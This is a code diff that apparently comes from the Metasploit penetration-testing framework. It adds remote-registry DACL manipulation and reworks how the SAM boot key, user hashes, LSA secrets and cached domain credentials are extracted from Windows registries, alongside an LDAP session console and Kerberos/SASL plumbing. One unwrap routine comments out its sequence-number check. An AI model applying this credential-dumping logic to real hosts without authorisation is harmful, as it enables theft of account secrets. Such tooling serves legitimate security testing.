access_mask = RubySMB::Dcerpc::Winreg::Regsam.new({
write_dac: 1,
read_control: 1,
key_enumerate_sub_keys: 1,
key_query_value: 1
})
Rex::Proto::MsDtyp::MsDtypAce.new({
header: {
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE,
ace_flags: { container_inherit_ace: 1 }
},
body: {
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask.read(access_mask.to_binary_s),
sid: sid
}
})
end
def backup_file_path
return @backup_file_path if @backup_file_path
if ! File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
remote_host = @winreg.tree.client.dns_host_name
remote_host = @winreg.tree.client.dispatcher.tcp_socket.peerhost if remote_host.blank?
path = File.join(Msf::Config.local_directory, "remote_registry_sd_backup_#{remote_host}_#{Time.now.strftime("%Y%m%d%H%M%S")}.#{Rex::Text.rand_text_alpha(6)}.yml")
@backup_file_path = File.expand_path(path)
end
def save_to_file(key, security_descriptor, security_information, path = backup_file_path)
sd_info = {
'key' => key,
'security_info' => security_information,
'sd' => security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join
}
File.open(path, 'w') do |fd|
fd.write(sd_info.to_yaml)
end
end
def read_from_file(filepath)
sd_info = YAML.safe_load_file(filepath)
sd_info['security_info'] = sd_info['security_info'].to_i
sd_info
end
def delete_backup_file(path = backup_file_path)
File.delete(path) if File.file?(path)
end
def change_dacl(key, sid)
security_information =
RubySMB::Field::SecurityDescriptor::OWNER_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::GROUP_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION
security_descriptor = @winreg.get_key_security_descriptor(key, security_information, bind: false)
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Security descriptor for #{key}: #{security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join}")
save_to_file(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION)
parsed_sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(security_descriptor)
ace = create_ace(sid)
parsed_sd.dacl.aces << ace
parsed_sd.dacl.acl_count += 1
parsed_sd.dacl.acl_size += ace.num_bytes
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] New security descriptor for #{key}: #{parsed_sd.to_binary_s.b.bytes.map { |c| '%02x' % c.ord }.join}")
@winreg.set_key_security_descriptor(key, parsed_sd.to_binary_s, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)
security_descriptor
rescue RubySMB::Dcerpc::Error::WinregError => e
elog("[Msf::Util::WindowsRegistry::RemoteRegistry] Error while changing DACL on key `#{key}`: #{e}")
end
def restore_dacl(key, security_descriptor)
begin
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Restoring DACL on key `#{key}`")
@winreg.set_key_security_descriptor(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)
rescue StandardError => e
elog(
"[Msf::Util::WindowsRegistry::RemoteRegistry] Error while restoring DACL on key `#{key}`: #{e}\n"\
"The original security descriptor has been saved in `#{backup_file_path}`. "\
"The auxiliary module `admin/registry_security_descriptor` can be used to "\
"restore the security descriptor from this file."
)
# Reset the `backup_file_path` instance variable to make sure a new
# backup filename will be generated. This way, this backup file won't
# be deleted the next time `#restore_dacl` is called.
@backup_file_path = nil
return
end
delete_backup_file
end
def enum_values(key)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
@winreg.enum_registry_values(key, bind: false).map do |value|
value.to_s.encode(::Encoding::ASCII_8BIT)
end
ensure
restore_dacl(key, sd_backup) if @inline && sd_backup
end
def enum_key(key)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
@winreg.enum_registry_key(key, bind: false).map do |key|
key.to_s.encode(::Encoding::ASCII_8BIT)
end
ensure
restore_dacl(key, sd_backup) if @inline && sd_backup
end
def get_value(key, value_name = nil)
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
root_key, sub_key = key.gsub(/\//, '\\').split('\\', 2)
root_key_handle = @winreg.open_root_key(root_key)
subkey_handle = @winreg.open_key(root_key_handle, sub_key)
begin
reg_value = @winreg.query_value(subkey_handle, value_name.nil? ? '' : value_name)
[reg_value.type.to_i, reg_value.data.to_s.b]
rescue RubySMB::Dcerpc::Error::WinregError
nil
end
ensure
@winreg.close_key(subkey_handle) if subkey_handle
@winreg.close_key(root_key_handle) if root_key_handle
restore_dacl(key, sd_backup) if @inline && sd_backup
end
end
end
end
end
+18 -5
View File
@@ -7,6 +7,10 @@ module WindowsRegistry
#
module Sam
def normalize_key(key)
@root.blank? ? key : key.delete_prefix(@root)
end
# Returns the HashedBootKey from a given BootKey.
#
# @param boot_key [String] The BootKey
@@ -16,7 +20,7 @@ module WindowsRegistry
qwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
digits = "0123456789012345678901234567890123456789\0"
_value_type, value_data = get_value('SAM\\Domains\\Account', 'F')
_value_type, value_data = get_value(normalize_key('HKLM\\SAM\\SAM\\Domains\\Account'), 'F')
revision = value_data[0x68, 4].unpack('V')[0]
case revision
when 1
@@ -49,15 +53,20 @@ module WindowsRegistry
# <User RID>: { V: <V value>, Name: <User name> },
# ...
# }
def get_user_keys
def get_user_keys(&block)
users = {}
users_key = 'SAM\\Domains\\Account\\Users'
users_key = normalize_key('HKLM\\SAM\\SAM\\Domains\\Account\\Users')
rids = enum_key(users_key)
if rids
rids.delete('Names')
rids.each do |rid|
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'V')
rid = rid.to_s
rid.encode!(::Encoding::UTF_8) unless rid.encoding == ::Encoding::UTF_8
key = "#{users_key}\\#{rid}"
yield key if block
_value_type, value_data = get_value(key, 'V')
next unless value_data
users[rid.to_i(16)] ||= {}
users[rid.to_i(16)][:V] = value_data
@@ -75,7 +84,11 @@ module WindowsRegistry
names = enum_key("#{users_key}\\Names")
if names
names.each do |name|
value_type, _value_data = get_value("#{users_key}\\Names\\#{name}", '')
name = name.to_s
name.encode!(::Encoding::UTF_8) unless name.encoding == ::Encoding::UTF_8
key = "#{users_key}\\Names\\#{name}"
yield key if block
value_type, _value_data = get_value(key, '')
users[value_type] ||= {}
# Apparently, key names are ISO-8859-1 encoded
users[value_type][:Name] = name.dup.force_encoding(::Encoding::ISO_8859_1).encode(::Encoding::UTF_8)
+12 -9
View File
@@ -79,6 +79,10 @@ module WindowsRegistry
attr_accessor :lsa_vista_style
def normalize_key(key)
@root.blank? ? key : key.delete_prefix(@root)
end
# Retrieve the decrypted LSA secret key from a given BootKey. This also sets
# the @lsa_vista_style attributes according to the registry keys found
# under `HKLM\SECURITY\Policy`. If set to `true`, the system version is
@@ -88,7 +92,7 @@ module WindowsRegistry
# @return [String] The decrypted LSA secret key
def lsa_secret_key(boot_key)
# vprint_status('Getting PolEKList...')
_value_type, value_data = get_value('\\Policy\\PolEKList')
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\PolEKList'))
if value_data
# Vista or above system
@lsa_vista_style = true
@@ -97,7 +101,7 @@ module WindowsRegistry
lsa_key = lsa_key[68, 32] unless lsa_key.empty?
else
# vprint_status('Getting PolSecretEncryptionKey...')
_value_type, value_data = get_value('\\Policy\\PolSecretEncryptionKey')
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey'))
# If that didn't work, then we're out of luck
return nil if value_data.nil?
@@ -128,14 +132,13 @@ module WindowsRegistry
# @param lsa_key [String] The LSA secret key
# @return [Hash] A hash containing the LSA secrets.
def lsa_secrets(lsa_key)
keys = enum_key('\\Policy\\Secrets')
keys = enum_key(normalize_key('HKLM\\SECURITY\\Policy\\Secrets'))
return unless keys
keys.delete('NL$Control')
keys.each_with_object({}) do |key, lsa_secrets|
# vprint_status("Looking into #{key}")
_value_type, value_data = get_value("\\Policy\\Secrets\\#{key}\\CurrVal")
_value_type, value_data = get_value(normalize_key("HKLM\\SECURITY\\Policy\\Secrets\\#{key}\\CurrVal"))
encrypted_secret = value_data
next unless encrypted_secret
@@ -158,7 +161,7 @@ module WindowsRegistry
# @param lsa_key [String] The LSA secret key
# @return [String] The NLKM secret key
def nlkm_secret_key(lsa_key)
_value_type, value_data = get_value('\\Policy\\Secrets\\NL$KM\\CurrVal')
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal'))
return nil unless value_data
if @lsa_vista_style
@@ -188,7 +191,7 @@ module WindowsRegistry
# @param nlkm_key [String] The NLKM secret key
# @return [Array] An array of CacheInfo structures containing the Cache information
def cached_infos(nlkm_key)
values = enum_values('\\Cache')
values = enum_values(normalize_key('HKLM\\SECURITY\\Cache'))
unless values
elog('[Msf::Util::WindowsRegistry::Sam::cached_hashes] No cashed entries')
return
@@ -198,12 +201,12 @@ module WindowsRegistry
iteration_count = nil
if values.delete('NL$IterationCount')
_value_type, value_data = reg_parser.get_value('\\Cache', 'NL$IterationCount')
_value_type, value_data = reg_parser.get_value(normalize_key('HKLM\\SECURITY\\Cache'), 'NL$IterationCount')
iteration_count = value_data.to_i
end
values.map do |value|
_value_type, value_data = get_value('\\Cache', value)
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Cache'), value)
cache = CacheEntry.read(value_data)
cache_info = CacheInfo.new(name: value, entry: cache)
+1
View File
@@ -297,6 +297,7 @@ class MsfAutoload
'appapi' => 'AppApi',
'uds_errors' => 'UDSErrors',
'smb_hash_capture' => 'SMBHashCapture',
'rex_ntlm' => 'RexNTLM'
}
end
+11 -1
View File
@@ -1094,7 +1094,17 @@ module Net # :nodoc:
when /^\s*search\s+(.*)/
self.searchlist = $1.split(" ")
when /^\s*nameserver\s+(.*)/
self.nameservers += $1.split(" ")
$1.split(/\s+/).each do |nameserver|
# per https://man7.org/linux/man-pages/man5/resolv.conf.5.html nameserver values must be IP addresses
begin
ip_addr = IPAddr.new(nameserver)
rescue IPAddr::InvalidAddressError
@logger.warn "Ignoring invalid name server '#{nameserver}' from configuration file"
next
else
self.nameservers += [ip_addr]
end
end
end
end
rescue => e
+11 -7
View File
@@ -213,14 +213,18 @@ class Connection
def detect_platform_and_arch
result = {}
query_result = query('select version()').rows.join.match(/on (?<architecture>\w+)-\w+-(?<platform>\w+)/)
server_vars = {
'version_compile_machine' => query_result[:architecture],
'version_compile_os' => query_result[:platform]
}
query_result = query('select version()').rows[0][0]
match_platform_and_arch = query_result.match(/on (?<architecture>\w+)-\w+-(?<platform>\w+)/)
result[:arch] = map_compile_arch_to_architecture(server_vars['version_compile_machine'])
result[:platform] = map_compile_os_to_platform(server_vars['version_compile_os'])
if match_platform_and_arch.nil?
arch = platform = query_result
else
arch = match_platform_and_arch[:architecture]
platform = match_platform_and_arch[:platform]
end
result[:arch] = map_compile_arch_to_architecture(arch)
result[:platform] = map_compile_os_to_platform(platform)
result
end
+3
View File
@@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/post/ldap/ui'
+3
View File
@@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/post/ldap/ui/console'
+137
View File
@@ -0,0 +1,137 @@
# -*- coding: binary -*-
require 'English'
require 'rex/post/session_compatible_modules'
module Rex
module Post
module LDAP
module Ui
###
#
# This class provides a shell driven interface to the LDAP client API.
#
###
class Console
include Rex::Ui::Text::DispatcherShell
include Rex::Post::SessionCompatibleModules
# Dispatchers
require 'rex/post/ldap/ui/console/command_dispatcher'
require 'rex/post/ldap/ui/console/command_dispatcher/core'
require 'rex/post/ldap/ui/console/command_dispatcher/client'
#
# Initialize the LDAP console.
#
# @param [Msf::Sessions::LDAP] session
def initialize(session)
super('%undLDAP%clr', '>', Msf::Config.ldap_session_history, nil, :ldap)
# The ldap client context
self.session = session
self.client = session.client
# Queued commands array
self.commands = []
# Point the input/output handles elsewhere
reset_ui
enstack_dispatcher(Rex::Post::LDAP::Ui::Console::CommandDispatcher::Client)
enstack_dispatcher(Rex::Post::LDAP::Ui::Console::CommandDispatcher::Core)
enstack_dispatcher(Msf::Ui::Console::CommandDispatcher::LocalFileSystem)
# Set up logging to whatever logsink 'core' is using
if !$dispatcher['ldap']
$dispatcher['ldap'] = $dispatcher['core']
end
end
#
# Called when someone wants to interact with the LDAP client. It's
# assumed that init_ui has been called prior.
#
def interact(&block)
# Run queued commands
commands.delete_if do |ent|
run_single(ent)
true
end
# Run the interactive loop
run do |line|
# Run the command
run_single(line)
# If a block was supplied, call it, otherwise return false
if block
block.call
else
false
end
end
end
#
# Queues a command to be run when the interactive loop is entered.
#
def queue_cmd(cmd)
commands << cmd
end
#
# Runs the specified command wrapper in something to catch exceptions.
#
def run_command(dispatcher, method, arguments)
super
rescue Timeout::Error
log_error('Operation timed out.')
rescue Rex::InvalidDestination => e
log_error(e.message)
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError, Net::LDAP::ResponseMissingOrInvalidError
session.kill
rescue ::StandardError => e
log_error("Error running command #{method}: #{e.class} #{e}")
elog(e)
end
# @param [Hash] opts
# @return [String]
def help_to_s(opts = {})
super + format_session_compatible_modules
end
#
# Logs that an error occurred and persists the callstack.
#
def log_error(msg)
print_error(msg)
elog(msg, 'ldap')
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'ldap')
end
# @return [Msf::Sessions::LDAP]
attr_reader :session
# @return [Rex::Proto::LDAP::Client]
attr_reader :client # :nodoc:
def format_prompt(val)
prompt = session.address.to_s
substitute_colors("%undLDAP%clr (#{prompt}) > ", true)
end
protected
attr_writer :session, :client # :nodoc: # :nodoc:
attr_accessor :commands # :nodoc:
end
end
end
end
end
@@ -0,0 +1,105 @@
# -*- coding: binary -*-
require 'English'
require 'rex/ui/text/dispatcher_shell'
module Rex
module Post
module LDAP
module Ui
###
#
# Base class for all command dispatchers within the LDAP console user
# interface.
#
###
module Console::CommandDispatcher
include Msf::Ui::Console::CommandDispatcher::Session
#
# Initializes an instance of the core command set using the supplied session and client
# for interactivity.
#
# @param [Rex::Post::LDAP::Ui::Console] console
def initialize(console)
super
@msf_loaded = nil
@filtered_commands = []
end
#
# Returns the LDAP client context.
#
# @return [Rex::Proto::LDAP::Client]
def client
console = shell
console.client
end
#
# Returns the LDAP session context.
#
# @return [Msf::Sessions::LDAP]
def session
console = shell
console.session
end
#
# Returns the commands that meet the requirements
#
def filter_commands(all, reqs)
all.delete_if do |cmd, _desc|
if reqs[cmd]&.any? { |req| !client.commands.include?(req) }
@filtered_commands << cmd
true
end
end
end
def unknown_command(cmd, line)
if @filtered_commands.include?(cmd)
print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})")
return :handled
end
super
end
#
# Return the subdir of the `documentation/` directory that should be used
# to find usage documentation
#
def docs_dir
File.join(super, 'ldap_session')
end
#
# Returns true if the client has a framework object.
#
# Used for firing framework session events
#
def msf_loaded?
return @msf_loaded unless @msf_loaded.nil?
# if we get here we must not have initialized yet
@msf_loaded = !session.framework.nil?
@msf_loaded
end
#
# Log that an error occurred.
#
def log_error(msg)
print_error(msg)
elog(msg, 'ldap')
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'ldap')
end
end
end
end
end
end
@@ -0,0 +1,123 @@
# -*- coding: binary -*-
module Rex
module Post
module LDAP
module Ui
###
#
# Core LDAP client commands
#
###
class Console::CommandDispatcher::Client
include Rex::Post::LDAP::Ui::Console::CommandDispatcher
include Msf::Exploit::Remote::LDAP::Queries
OUTPUT_FORMATS = %w[table csv json]
VALID_SCOPES = %w[base single whole]
@@query_opts = Rex::Parser::Arguments.new(
%w[-h --help] => [false, 'Help menu' ],
%w[-f --filter] => [true, 'Filter string for the query (default: (objectclass=*))'],
%w[-a --attributes] => [true, 'Comma separated list of attributes for the query'],
%w[-b --base-dn] => [true, 'Base dn for the query'],
%w[-s --scope] => [true, 'Scope for the query: `base`, `single`, `whole` (default: whole)'],
%w[-o --output-format] => [true, 'Output format: `table`, `csv` or `json` (default: table)']
)
#
# List of supported commands.
#
def commands
cmds = {
'query' => 'Run an LDAP query'
}
reqs = {}
filter_commands(cmds, reqs)
end
#
# Client
#
def name
'Client'
end
#
# Query the LDAP server
#
def cmd_query(*args)
if args.include?('-h') || args.include?('--help')
cmd_query_help
return
end
attributes = []
filter = '(objectclass=*)'
base_dn = client.base_dn
schema_dn = client.schema_dn
scope = Net::LDAP::SearchScope_WholeSubtree
output_format = 'table'
@@query_opts.parse(args) do |opt, _idx, val|
case opt
when '-a', '--attributes'
attributes.push(*val.split(','))
when '-f', '--filter'
filter = val
when '-b', '--base-dn'
base_dn = val
when '-s', '--scope'
scope = parse_scope(val)
raise ArgumentError, "Invalid scope provided: #{scope}, must be one of #{VALID_SCOPES}" if scope.nil?
when '-o', '--output-format'
if OUTPUT_FORMATS.include?(val)
output_format = val
else
raise ArgumentError, "Invalid output format: #{val}, must be one of #{OUTPUT_FORMATS}"
end
end
rescue StandardError => e
handle_error(e)
end
perform_ldap_query_streaming(client, filter, attributes, base_dn, schema_dn, scope: scope) do |result, attribute_properties|
show_output(normalize_entry(result, attribute_properties), output_format)
end
end
def cmd_query_tabs(_str, words)
return [] if words.length > 1
@@query_opts.option_keys
end
def cmd_query_help
print_line 'Usage: query -f <filter string> -a <attributes>'
print_line
print_line 'Run the query against the session.'
print @@query_opts.usage
end
private
def parse_scope(str)
case str.downcase
when 'base'
Net::LDAP::SearchScope_BaseObject
when 'single', 'one'
Net::LDAP::SearchScope_SingleLevel
when 'whole', 'sub'
Net::LDAP::SearchScope_WholeSubtree
else
nil
end
end
end
end
end
end
end
@@ -0,0 +1,61 @@
# -*- coding: binary -*-
require 'rex/post/ldap'
module Rex
module Post
module LDAP
module Ui
###
#
# Core LDAP client commands
#
###
class Console::CommandDispatcher::Core
include Rex::Post::LDAP::Ui::Console::CommandDispatcher
#
# Initializes an instance of the core command set using the supplied session and client
# for interactivity.
#
# @param [Rex::Post::LDAP::Ui::Console] console
#
# List of supported commands.
#
def commands
cmds = {
'?' => 'Help menu',
'background' => 'Backgrounds the current session',
'bg' => 'Alias for background',
'exit' => 'Terminate the LDAP session',
'help' => 'Help menu',
'irb' => 'Open an interactive Ruby shell on the current session',
'pry' => 'Open the Pry debugger on the current session',
'sessions' => 'Quickly switch to another session'
}
reqs = {}
filter_commands(cmds, reqs)
end
#
# Core
#
def name
'Core'
end
def unknown_command(cmd, line)
status = super
status
end
end
end
end
end
end
+33
View File
@@ -0,0 +1,33 @@
require 'rubyntlm'
module Rex::Proto::Gss
class ChannelBinding < Net::NTLM::ChannelBinding
attr_reader :digest_algorithm
def initialize(channel_data, unique_prefix: 'tls-server-end-point', digest_algorithm: 'SHA256')
super(channel_data)
@unique_prefix = unique_prefix
@digest_algorithm = digest_algorithm
end
def channel_hash
@channel_hash ||= OpenSSL::Digest.new(@digest_algorithm, channel)
end
def self.create(peer_cert)
super(peer_cert.to_der)
end
def self.from_tls_cert(peer_cert)
digest_algorithm = 'SHA256'
if peer_cert.signature_algorithm
# see: https://learn.microsoft.com/en-us/archive/blogs/openspecification/ntlm-and-channel-binding-hash-aka-extended-protection-for-authentication
normalized_name = OpenSSL::Digest.new(peer_cert.signature_algorithm).name.upcase
unless %[ MD5 SHA1 ].include?(normalized_name)
digest_algorithm = normalized_name
end
end
new(peer_cert.to_der, unique_prefix: 'tls-server-end-point', digest_algorithm: digest_algorithm)
end
end
end
@@ -15,13 +15,14 @@ module Rex
# @param [Boolean] is_initiator Are we the initiator in this communication (used for setting flags and key usage values)
# @param [Boolean] use_acceptor_subkey Are we using the subkey provided by the acceptor? (used for setting appropriate flags)
# @param [Boolean] dce_style Is the format of the encrypted blob DCE-style?
def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true, dce_style: false)
def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true, dce_style: false, rc4_pad_style: :single_byte)
@key = key
@encrypt_sequence_number = encrypt_sequence_number
@decrypt_sequence_number = decrypt_sequence_number
@is_initiator = is_initiator
@use_acceptor_subkey = use_acceptor_subkey
@dce_style = dce_style
@rc4_pad_style = rc4_pad_style
@encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(key.type)
end
@@ -30,7 +31,7 @@ module Rex
# @return [String, Integer, Integer] The encrypted data, the length of its header, and the length of padding added to it prior to encryption
#
def encrypt_and_increment(data)
result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey, dce_style: @dce_style)
result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey, dce_style: @dce_style, rc4_pad_style: @rc4_pad_style)
@encrypt_sequence_number += 1
result
@@ -41,7 +42,7 @@ module Rex
#
def decrypt_and_verify(data)
result = encryptor.gss_unwrap(data, @key, @decrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey)
@decrypt_sequence_number += 1
@decrypt_sequence_number += 1 unless @decrypt_sequence_number.nil?
result
end
@@ -85,6 +86,19 @@ module Rex
#
attr_accessor :dce_style
#
# [Symbol] The RC4 spec (RFC4757) section 7.3 implies that RC4-HMAC only needs one byte of padding,
# although it doesn't come straight out and say it. Some protocols (LDAP, at least on a DC) complain
# if you give it more than a single byte of paddding.
# Other protocols (DRSR) complain if you don't align it perfectly with an 8-byte boundary.
# The MS-RPCE spec is a little vague on why exactly that might be, but we can at least
# show empirically that it is happy if you just give it an 8-byte aligned encrypted stub.
# Yet other protocols are happy whatever the padding (WinRM).
# Here, we allow customising the behaviour of the RC4-HMAC GSSAPI crypto scheme by providing either:
# - :single_byte -> Puts a single '\x01' byte of padding at the end
# - :eight_byte_aligned -> Puts between 1 and 8 bytes of PKCS#5 padding
attr_accessor :rc4_pad_style
#
# [Rex::Proto::Kerberos::Crypto::*] Encryption class for encrypting/decrypting messages
#
+40
View File
@@ -0,0 +1,40 @@
require 'rasn1'
module Rex::Proto::Gss
# Negotiation token returned by the target to the initiator
# https://www.rfc-editor.org/rfc/rfc2478
class SpnegoNegTokenTarg < RASN1::Model
ACCEPT_COMPLETED = 'accept-completed'
ACCEPT_INCOMPLETE = 'accept-incomplete'
REJECT = 'reject'
REQUEST_MIC = 'request-mic'
NEG_RESULTS = { ACCEPT_COMPLETED => 0,
ACCEPT_INCOMPLETE => 1,
REJECT => 2,
REQUEST_MIC => 3}
sequence :token, explicit: 1, class: :context, constructed: true,
content: [enumerated(:neg_result, enum: NEG_RESULTS, explicit: 0, class: :context, constructed: true, optional: true),
objectid(:supported_mech, explicit: 1, class: :context, constructed: true, optional: true),
octet_string(:response_token, explicit: 2, class: :context, constructed: true, optional: true),
octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)
]
def neg_result
self[:neg_result].value
end
def supported_mech
self[:supported_mech].value
end
def response_token
self[:response_token].value
end
def mech_list_mic
self[:mech_list_mic].value
end
end
end
+1 -1
View File
@@ -515,7 +515,7 @@ class Client
return resp unless response
decoded = Rex::Text.decode_base64(response)
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key], mechanism: 'kerberos')
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key])
self.krb_encryptor = self.kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey],
auth_result[:client_sequence_number],
mutual_auth_result[:server_sequence_number])
+1 -1
View File
@@ -45,7 +45,7 @@ module Rex
# @raise [RuntimeError] if the connection can not be created
def connect
return connection if connection
raise ArgumentError, 'Missing remote address' unless self.host && self.port
case protocol
when 'tcp'
self.connection = create_tcp_connection
@@ -90,11 +90,11 @@ module Rex
encrypt_basic(plaintext, ke) + hmac[0,self.class::MAC_SIZE]
end
def gss_wrap(plaintext, key, sequence_number, is_initiator, use_acceptor_subkey: true)
def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={})
raise NotImplementedError
end
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, use_acceptor_subkey: true)
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={})
raise NotImplementedError
end
+18 -3
View File
@@ -105,7 +105,7 @@ module Rex
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={})
# Always 32-bit sequence number
expected_sequence_number &= 0xFFFFFFFF
expected_sequence_number &= 0xFFFFFFFF unless expected_sequence_number.nil?
mech_id, ciphertext = unwrap_pseudo_asn1(ciphertext)
@@ -133,7 +133,7 @@ module Rex
decrypted_sequence_num = cipher_seq.update(encrypted_sequence_num)
decrypted_sequence_num = decrypted_sequence_num.unpack('N')[0]
raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Invalid sequence number' unless decrypted_sequence_num == expected_sequence_number
#raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Invalid sequence number' unless (decrypted_sequence_num == expected_sequence_number || expected_sequence_number.nil?)
klocal = xor_strings(key.value, "\xF0"*16)
kcrypt = OpenSSL::HMAC.digest('MD5', klocal, [0].pack('V'))
@@ -166,8 +166,10 @@ module Rex
end
# @option options [Boolean] :dce_style Whether the interaction is a 3-leg DCERPC interaction
# @option options [Symbol] :rc4_pad_style How to do padding - either :single_byte or :eight_byte_aligned
def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={})
dce_style = opts.fetch(:dce_style) { false }
pad_style = opts.fetch(:rc4_pad_style) { :single_byte }
# Always 32-bit sequence number
sequence_number &= 0xFFFFFFFF
@@ -177,8 +179,21 @@ module Rex
seal_alg = 0x1000
filler = 0xFFFF
header = [tok_id, alg, seal_alg, filler].pack('nnnn')
# Add padding (see RFC1964 section 1.2.2.3)
pad_num = (8 - (plaintext.length % 8))
# Some protocols (LDAP) only support a single byte and seem to fail otherwise
# Others (DRSR) only support 8-byte and seem to fail otherwise
# Some (WinRM) are lenient and are fine with either
#
# It's not entirely clear why
if pad_style == :single_byte
pad_num = 1
elsif pad_style == :eight_byte_aligned
pad_num = (8 - (plaintext.length % 8))
else
raise ArgumentError.new('Unknown pad_style setting')
end
plaintext += (pad_num.chr * pad_num)
send_seq = [sequence_number].pack('N')
+103 -1
View File
@@ -74,6 +74,104 @@ class Net::LDAP::Connection # :nodoc:
end
end
# Allow wrapping the socket to read and write SASL data
module SocketSaslIO
include Rex::Proto::Sasl
# This seems hacky, but we're just fitting in with how net-ldap does it
def get_ber_length(data)
n = data[0].ord
if n <= 0x7f
[n, 1]
elsif n == 0x80
raise Net::BER::BerError,
'Indeterminite BER content length not implemented.'
elsif n == 0xff
raise Net::BER::BerError, 'Invalid BER length 0xFF detected.'
else
v = 0
extra_length = n & 0x7f
data[1,n & 0x7f].each_byte do |b|
v = (v << 8) + b
end
[v, extra_length + 1]
end
end
def read_ber(syntax = nil)
unless @wrap_read.nil?
if ber_cache.any?
return ber_cache.shift
end
# SASL buffer length
length_bytes = read(4)
# The implementation in net-ldap returns nil if it doesn't read any data
return nil unless length_bytes
length = length_bytes.unpack('N')[0]
# Now read the actual data
data = read(length)
# Decrypt it
plaintext = @wrap_read.call(data)
while plaintext.length > 0
id = plaintext[0].ord
ber_length, used_chars = get_ber_length(plaintext[1,plaintext.length])
plaintext = plaintext[1+used_chars, plaintext.length]
# We may receive several objects in the one packet
# Ideally we'd refactor all of ruby-net-ldap to use
# yields for this, but it's all a bit messy. So instead,
# just store them all and return the next one each time
# we're asked.
ber_cache.append(parse_ber_object(syntax, id, plaintext[0,ber_length]))
plaintext = plaintext[ber_length,plaintext.length]
end
return ber_cache.shift
else
super(syntax)
end
end
def write(data)
unless @wrap_write.nil?
# Encrypt it
data = @wrap_write.call(data)
# Prepend the length bytes
data = wrap_sasl(data)
end
super(data)
end
def setup(wrap_read, wrap_write)
@wrap_read = wrap_read
@wrap_write = wrap_write
@ber_cache = []
end
private
attr_accessor :wrap_read
attr_accessor :wrap_write
attr_accessor :ber_cache
end
module ConnectionSaslIO
# Provide the encryption wrapper for the caller to set up
def wrap_read_write(wrap_read, wrap_write)
@conn.extend(SocketSaslIO)
@conn.setup(wrap_read, wrap_write)
end
end
# Initialize the LDAP connection using Rex::Socket::TCP,
# and optionally set up encryption on the connection if configured.
#
@@ -87,9 +185,13 @@ class Net::LDAP::Connection # :nodoc:
@conn = Rex::Socket::Tcp.create(
'PeerHost' => server[:host],
'PeerPort' => server[:port],
'Proxies' => server[:proxies]
'Proxies' => server[:proxies],
'Timeout' => server[:connect_timeout]
)
@conn.extend(SynchronousRead)
# Set up read/write wrapping
self.extend(ConnectionSaslIO)
rescue SocketError
raise Net::LDAP::LdapError, 'No such address or other socket error.'
rescue Errno::ECONNREFUSED
+11
View File
@@ -0,0 +1,11 @@
require 'rex/proto/ldap/auth_adapter/rex_kerberos'
require 'rex/proto/ldap/auth_adapter/rex_ntlm'
module Rex
module Proto
module LDAP
module AuthAdapter
end
end
end
end
@@ -0,0 +1,47 @@
# frozen_string_literal: true
require 'net/ldap/auth_adapter'
require 'net/ldap/auth_adapter/sasl'
require 'rubyntlm'
module Rex::Proto::LDAP::AuthAdapter
class RexKerberos < Net::LDAP::AuthAdapter
def bind(auth)
kerberos_authenticator = auth[:kerberos_authenticator]
unless kerberos_authenticator
raise Net::LDAP::BindingInformationInvalidError, 'Invalid binding information (missing kerberos authenticator)'
end
options = {}
if @connection.socket.respond_to?(:peer_cert)
options = {
